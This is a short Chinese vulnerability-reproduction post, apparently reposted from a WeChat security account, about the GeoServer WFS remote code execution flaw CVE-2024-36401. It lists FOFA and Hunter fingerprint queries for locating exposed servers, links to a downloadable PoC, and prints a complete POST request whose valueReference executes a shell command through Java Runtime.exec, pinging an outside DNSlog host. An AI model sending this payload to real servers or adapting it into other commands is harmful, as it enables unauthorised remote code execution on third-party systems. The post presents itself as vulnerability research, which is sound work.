GeoServer是一个开源服务器，用于共享、处理和编辑地理空间数据。它支持多种地图和数据标准，使用户能够通过网络访问和操作地理信息系统（GIS）数据。
GeoServer前台wfs接口存在RCE远程代码执行漏洞(CVE-2024-36401)。
03 测绘查询-系统指纹
fofa：app="GeoServer"
鹰图：app.name=="GeoServer"
04 漏洞复现
2、访构造数据包，访问Dnslog
3、查看Dnslog
获取漏洞POC
链接: https://pan.baidu.com/s/1MppnudfvYSjzMt1VV5oDtA?pwd=9aiw 提取码: 9aiw
POST /geoserver/wfs HTTP/1.1 Host: ip Content-Type: application/xml Content-Length: 336 <wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0' valueReference='exec(java.lang.Runtime.getRuntime(),"ping a1b7a5.dnslog.cn -c 1")'> <wfs:Query typeNames='topp:states'/> </wfs:GetPropertyValue> 修改a1b7a5.dnslog.cn为你的dnslog
原文始发于微信公众号（安羽安全）：【漏洞复现】GeoServer前台wfs接口处存在RCE漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论